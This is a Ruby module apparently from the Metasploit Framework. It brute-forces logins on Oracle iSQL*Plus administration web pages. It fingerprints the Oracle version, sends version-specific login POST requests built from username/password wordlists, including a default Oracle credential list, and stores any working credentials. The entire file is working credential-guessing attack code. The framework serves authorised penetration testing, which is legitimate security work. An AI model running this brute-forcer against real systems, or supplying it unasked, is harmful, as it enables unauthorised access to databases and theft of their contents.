Path: blob/master/modules/auxiliary/scanner/oracle/isqlplus_login.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::AuthBrute910def initialize11super(12'Name' => 'Oracle iSQL*Plus Login Utility',13'Description' => %q{14This module attempts to authenticate against an Oracle ISQL*Plus15administration web site using username and password combinations indicated16by the USER_FILE, PASS_FILE, and USERPASS_FILE.1718This module does not require a valid SID, but if one is defined, it will be used.19Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to20fingerprint the version and automatically select the correct POST request.2122},23'References' => [24[ 'URL', 'https://blog.carnal0wnage.com/' ],25],26'Author' => [ 'CG', 'todb' ],27'License' => MSF_LICENSE28)29deregister_options('BLANK_PASSWORDS') # Blank passwords are never valid3031register_options([32Opt::RPORT(5560),33OptString.new('URI', [ true, 'Oracle iSQLPlus path.', '/isqlplus/']),34OptString.new('SID', [ false, 'Oracle SID' ]),35OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 60]),36OptPath.new('USERPASS_FILE', [37false, "File containing users and passwords separated by space, one pair per line",38File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt")39]),40OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),41])42end4344def verbose45datastore['VERBOSE']46end4748def uri49datastore['URI'].to_s50end5152def timeout53(datastore['TIMEOUT'] || 60).to_i54end5556def prefix57datastore['SSL'] ? "https" : "http"58end5960def msg61"#{prefix}://#{rhost}:#{rport}/#{datastore['URI'].gsub(/^\/+/, "")} -"62end6364def get_oracle_version(ip)65begin66res = send_request_cgi({67'version' => '1.1',68'uri' => uri,69'method' => 'GET',70}, timeout)71oracle_ver = nil72if (res.nil?)73print_error("#{msg} no response")74elsif (res.code == 200)75print_status("#{msg} Received an HTTP #{res.code}")76oracle_ver = detect_oracle_version(res)77elsif (res.code == 404)78print_error("#{msg} Received an HTTP 404, check URIPATH")79elsif (res.code == 302)80print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")81else82print_error("#{msg} Received an HTTP #{res.code}")83end84return oracle_ver85rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e86print_error "#{msg} Cannot connect"87end88end8990def detect_oracle_version(res)91m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)92oracle_ver = nil93oracle_ver = 10 if m[1] && m[1] =~ /10/94oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/95if oracle_ver96print_status("#{msg} Detected Oracle version #{oracle_ver}")97print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.198else99print_error("#{msg} Unknown Oracle version detected.")100end101return oracle_ver102end103104def check_oracle_version(ver)105[9.0, 9.1, 9.2, 10].include? ver106end107108def run_host(ip)109datastore['BLANK_PASSWORDS'] = false # Always110ver = get_oracle_version(ip)111if not check_oracle_version(ver)112print_error "#{msg} Unknown Oracle version, skipping."113return114end115if datastore['SID'].nil? || datastore['SID'].empty?116print_status "Using blank SID for authentication."117end118each_user_pass do |user, pass|119# Blank passwords aren't allowed120if pass.nil? || pass.empty?121print_status "Skipping blank password for #{user}"122else123do_login(user, pass, ver)124end125end126end127128def sid129if datastore['SID'].nil? || datastore['SID'].empty?130nil131else132datastore['SID']133end134end135136def do_login(user = 'DBSNMP', pass = 'DBSNMP', version = 9.0)137uri = datastore['URI']138139vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' with SID '#{sid}'")140success = false141if version == 9.0142postrequest = "action=logon&sqlcmd=&sqlparms=&username=#{user}&password=#{pass}&sid=#{sid}&privilege=&Log+In=%B5%C7%C2%BC"143elsif (version == 9.1 || version == 9.2)144postrequest = "action=logon&username=#{user}&password=#{pass}&sid=#{sid}&login=Login"145elsif (version == 10)146postrequest = "username=#{user}&password=#{pass}&connectID=#{sid}&report=&script=&dynamic=&type=&action=&variables=&event=login"147end148149begin150res = send_request_cgi({151'version' => '1.1',152'uri' => uri,153'method' => 'POST',154'data' => postrequest,155'headers' => { 'Referer' => "http://#{rhost}:#{rport}#{uri}" }156}, timeout)157unless (res.kind_of? Rex::Proto::Http::Response)158vprint_error("#{msg} Not responding")159return :abort160end161return :abort if (res.code == 404)162163if res.code == 200164# English, German, and Danish.165if (res.body =~ /Connected as/ or res.body =~ /Angemeldet als/ or res.body =~ /Arbejdssk/)166success = true167elsif (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)168# print_error("received ORA-01017 -- incorrect credentials")169success = false170elsif (res.body =~ /ORA-28009:/)171print_good("#{user}:#{pass} is correct but required SYSDBA or SYSOPER login")172success = true173elsif (res.body =~ /ORA-28000:/) # locked account174success = false175elsif (res.body =~ /ORA-12170:/ or res.body =~ /ORA-12154:/ or res.body =~ /ORA-12162:/ or res.body =~ /ORA-12560:/)176print_status("Incorrect SID -- please set a correct (or blank) SID")177return :abort178elsif print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")179success = false180end181elsif res.code == 302182print_status("received a 302 to #{res.headers['Location']}")183return :abort184else185print_status("Unexpected Response of: #{res.code}") # ''186return :abort187end188rescue ::Rex::ConnectionError => e189vprint_error("#{msg} - #{e}")190return :abort191end192193if success194print_good("#{msg} successful login '#{user}' : '#{pass}' for SID '#{sid}'")195report_isqlplus_service(target_host, res)196report_oracle_sid(target_host, sid)197report_isqlauth_info(target_host, user, pass, sid)198return :next_user199else200vprint_error "#{msg} username and password failed"201return :failed202end203end204205def report_isqlplus_service(ip, res)206sname = datastore['SSL'] ? 'https' : 'http'207report_service(208:host => ip,209:proto => 'tcp',210:port => rport,211:name => sname,212:info => res.headers["Server"].to_s.strip213)214end215216def report_oracle_sid(ip, sid)217sid_res = ((sid.nil? || sid.empty?) ? "*BLANK*" : sid)218report_note(219:host => ip,220:proto => 'tcp',221:port => rport,222:type => "oracle.sid",223:data => { :sid => sid_res },224:update => :unique_data225)226end227228def report_cred(opts)229service_data = {230address: opts[:ip],231port: opts[:port],232service_name: opts[:service_name],233protocol: 'tcp',234workspace_id: myworkspace_id235}236237credential_data = {238origin_type: :service,239module_fullname: fullname,240username: opts[:user],241private_data: opts[:password],242private_type: :password243}.merge(service_data)244245login_data = {246core: create_credential(credential_data),247status: Metasploit::Model::Login::Status::UNTRIED,248proof: opts[:proof]249}.merge(service_data)250251create_credential_login(login_data)252end253254def report_isqlauth_info(ip, user, pass, sid)255ora_info = {256ip: ip,257port: rport,258password: pass,259proof: sid.inspect,260service_name: 'tcp'261}262if sid.nil? || sid.empty?263ora_info.merge! :user => user264else265ora_info.merge! :user => "#{sid}/#{user}"266end267report_cred(ora_info)268end269end270271272